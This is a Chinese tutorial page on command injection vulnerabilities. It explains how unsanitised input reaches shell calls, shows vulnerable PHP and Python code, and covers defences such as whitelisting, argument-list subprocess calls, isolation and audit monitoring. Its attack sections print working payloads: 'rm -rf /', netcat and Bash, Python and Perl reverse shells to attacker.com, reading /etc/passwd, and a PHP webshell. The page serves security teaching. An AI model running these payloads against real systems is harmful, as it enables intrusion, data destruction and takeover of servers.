元素码农
基础
UML建模
数据结构
算法
设计模式
网络
TCP/IP协议
HTTPS安全机制
WebSocket实时通信
数据库
sqlite
postgresql
clickhouse
后端
rust
go
java
php
mysql
redis
mongodb
etcd
nats
zincsearch
前端
浏览器
javascript
typescript
vue3
react
游戏
unity
unreal
C++
C#
Lua
App
android
ios
flutter
react-native
安全
Web安全
测试
软件测试
自动化测试 - Playwright
人工智能
Python
langChain
langGraph
运维
linux
docker
工具
git
svn
🌞
🌙
目录
▶
注入攻击与防御
SQL注入原理与利用
SQL注入防御策略
NoSQL注入技术分析
命令注入漏洞实战
ORM框架注入问题
注入攻击自动化检测
▶
认证与会话安全
会话固定与会话劫持
密码存储与加密策略
多因素认证机制
OAuth2.0安全实践
JWT安全攻防
认证逻辑漏洞挖掘
▶
XSS攻击与防御
XSS攻击原理与分类
存储型XSS实战案例
DOM型XSS高级利用
XSS过滤器绕过技术
CSP内容安全策略
前端框架XSS防护
▶
CSRF与点击劫持
CSRF攻击原理演示
CSRF Token防御实践
点击劫持技术剖析
SameSite Cookie策略
框架内置防护机制
跨域资源安全策略
▶
文件安全攻防
文件上传漏洞利用
安全文件类型验证
路径遍历漏洞实战
文件包含漏洞防御
Office文档攻击解析
云存储安全配置
▶
其他Web攻击技术
SSRF漏洞利用与防御
XXE漏洞攻防实战
反序列化漏洞原理
业务逻辑漏洞挖掘
HTTP请求走私攻击
Web缓存投毒攻击
发布时间:
2025-03-23 12:50
↑
☰
# 命令注入漏洞实战 ## 命令注入概述 命令注入(Command Injection)是一种通过操纵应用程序的输入来执行任意系统命令的安全漏洞。当应用程序在处理用户输入时,未经过充分的验证和过滤就将其作为系统命令的一部分执行,就可能导致命令注入漏洞。 ## 漏洞原理 ### 1. 基本原理 命令注入漏洞主要发生在应用程序需要调用系统命令的场景中。例如: ```php // 不安全的PHP代码 $filename = $_GET['filename']; exec('ls ' . $filename); ``` 如果用户输入:`; rm -rf /`,最终执行的命令将变成: ```bash ls ; rm -rf / ``` ### 2. 注入点类型 - **分号注入**:使用分号分隔多个命令 - **管道注入**:使用管道符连接命令 - **AND/OR注入**:使用&&或||连接命令 - **反引号注入**:使用反引号执行命令 ## 常见攻击技术 ### 1. 命令连接符 ```bash # 分号连接 original_command ; malicious_command # 管道符连接 original_command | malicious_command # AND运算符 original_command && malicious_command # OR运算符 original_command || malicious_command ``` ### 2. 命令替换 ```bash # 反引号 `malicious_command` # $()语法 $(malicious_command) # 内联执行 <(malicious_command) ``` ### 3. 特殊字符绕过 ```bash # 空格替代 original_command${IFS}malicious_command # 编码绕过 original_command%20malicious_command # 引号绕过 original_command\"malicious_command ``` ## 漏洞检测 ### 1. 手动检测 - 测试命令连接符 - 检查特殊字符处理 - 验证输出结果 - 时间延迟测试 ### 2. 自动化工具 - Commix - OWASP ZAP - Burp Suite - Custom Scripts ## 实际案例分析 ### 案例1:文件操作漏洞 易受攻击的代码: ```python import os def list_files(directory): os.system('ls ' + directory) ``` 攻击payload: ``` directory: . && echo "malicious content" > /tmp/evil ``` ### 案例2:网络工具漏洞 易受攻击的代码: ```php $ip = $_GET['ip']; system('ping ' . $ip); ``` 攻击payload: ``` ip: 8.8.8.8; nc -e /bin/bash attacker.com 4444 ``` ## 高级利用技术 ### 1. 反弹Shell ```bash # Bash反弹shell bash -i >& /dev/tcp/attacker.com/4444 0>&1 # Python反弹shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # Perl反弹shell perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### 2. 文件操作 ```bash # 读取敏感文件 ; cat /etc/passwd # 写入Webshell ; echo '<?php system($_GET["cmd"]);?>' > shell.php # 修改文件权限 ; chmod 777 /path/to/file ``` ### 3. 信息收集 ```bash # 系统信息 ; uname -a # 网络信息 ; netstat -an # 用户信息 ; whoami && id ``` ## 防御措施 ### 1. 输入验证 ```python # 白名单验证 def is_valid_command(command): allowed_commands = ['ls', 'dir', 'pwd'] return command in allowed_commands # 参数验证 def is_valid_parameter(param): return re.match('^[a-zA-Z0-9_.-]+$', param) is not None ``` ### 2. 命令执行安全 ```python # 使用参数列表 import subprocess def safe_command(command, args): try: result = subprocess.run([command] + args, capture_output=True, timeout=5, check=True) return result.stdout except subprocess.CalledProcessError as e: logger.error(f"Command execution failed: {e}") return None ``` ### 3. 环境隔离 ```bash # Docker容器隔离 docker run --rm -it --name sandbox ubuntu:latest /bin/bash # chroot环境 sudo chroot /path/to/jail /bin/bash ``` ## 安全编码实践 ### 1. 使用安全API ```python # 不安全的实现 os.system('rm ' + filename) # 安全的实现 import os os.remove(filename) ``` ### 2. 错误处理 ```python # 安全的错误处理 try: subprocess.run(command, shell=False, check=True) except subprocess.CalledProcessError as e: logger.error(f"Command execution error: {e}") raise SecurityException("Command execution failed") ``` ### 3. 日志记录 ```python # 记录命令执行 def log_command_execution(command, user, ip_address): logger.info(f"Command executed: {command}", extra={ 'user': user, 'ip': ip_address, 'timestamp': datetime.now() }) ``` ## 安全配置 ### 1. 系统加固 ```bash # 限制Shell访问 chsh -s /sbin/nologin username # 设置文件权限 chmod 600 /path/to/sensitive/file # 配置SELinux setenforce 1 ``` ### 2. 应用隔离 ```bash # 创建专用用户 useradd -r -s /sbin/nologin appuser # 设置目录权限 chown -R appuser:appuser /app/directory ``` ## 检测与响应 ### 1. 监控系统 ```bash # 监控命令执行 auditctl -w /usr/bin/ -p x -k command_execution # 监控文件修改 auditctl -w /etc/passwd -p wa -k passwd_changes ``` ### 2. 告警机制 ```python # 异常命令告警 def alert_suspicious_command(command, context): if is_suspicious(command): alert = { 'type': 'command_injection', 'command': command, 'context': context, 'timestamp': datetime.now() } send_alert(alert) ``` ## 总结 命令注入是一种危险的Web安全漏洞,可能导致系统被完全控制。防御措施包括: 1. 严格的输入验证和过滤 2. 使用安全的API和库函数 3. 实施最小权限原则 4. 系统隔离和环境控制 5. 完善的监控和告警机制 开发人员应该始终保持安全意识,采用安全的编码实践,并定期进行安全测试和代码审查。同时,建立完善的应急响应机制,以便在发生安全事件时能够快速有效地处理。